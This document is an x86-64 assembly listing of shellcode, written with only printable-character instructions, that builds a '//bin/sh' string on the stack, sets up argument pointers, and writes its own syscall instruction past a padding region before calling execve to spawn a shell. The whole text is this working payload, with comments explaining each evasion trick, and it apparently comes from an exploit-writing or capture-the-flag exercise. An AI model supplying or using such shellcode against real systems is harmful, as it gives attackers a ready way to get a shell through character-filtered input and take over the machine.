begin: push rdx # assume that rdx points to the start of this code pop rcx # save that in rcx and eax, 0x40404040 and eax, 0x20202020 # zero out eax push rax push rax push rax push rax # make some space on the stack xor rax, 0x68732f6e push rax # put the "n/sh" string on the stack and eax, 0x40404040 and eax, 0x20202020 push rax # add null termination to make pop rbx # low bytes of futre rax 00 pop rbx pop rbx pop rbx pop rbx # move stack back down to the scratch space we made earlier pop rbx push rsp push rsp pop rax # make rax point to a stack pointer push 0x2c pop rdi # mov rdi, 0x2c sub [rax], rdi # unalign the stack pointer so that the string we previously pushed will be in the high bytes of the current stack value pop rsp # set the new stack pointer pop rax # yay! upper bits of rax set to "n/sh" xor rax, 0x69622f2f # "//bin/sh" in rax push rax pop rbx # save //bin/sh string into rbx and eax, 0x40404040 and eax, 0x20202020 push rax # place //bin/sh null terminator onto stack push rbx # //bin/sh string on the stack! push rsp pop r8 # save a pointer to //bin/sh string push rax # push argv null terminator push r8 # push //bin/sh ptr push rsp pop rsi # set rsi to argv pointer push rax pop rdx # zero out rdx (envp = NULL) xor eax, 0x2020252f xor eax, 0x20202020 # 0x2020252f ^ 0x20202020 = 0x050f (syscall bytes) push rax pop r9 # create syscall instruction in r9 push rcx # push start of shellcode ptr onto stack push rsp pop rbx # [rbx] = rcx and eax, 0x40404040 and eax, 0x20202020 # clear rax sub rax, 0x40404040 xor rax, 0x4040413e # -0x102 in rax push rax pop rdi # -0x102 in rdi push rbx pop rax # [rax] = rcx (start of shellcode) sub [rax], rdi pop rcx # rcx = start of shellcode + 0x102 push r8 pop rdi # place the "//bin/sh" pointer into rdi for syscall and eax, 0x40404040 and eax, 0x20202020 # clear eax push 0x3b pop rax # set up the syscall number (0x3b = 59 = execve) push rcx # ptr to desired address of the syscall instr pop rsp push r9 # push to write the instruction to the end of our program! pop rbx end: .rept (((0x102 - 8) - (end - begin)) / 2) # padding of nops so that we can make it to the syscall jnz $+0x30 .endr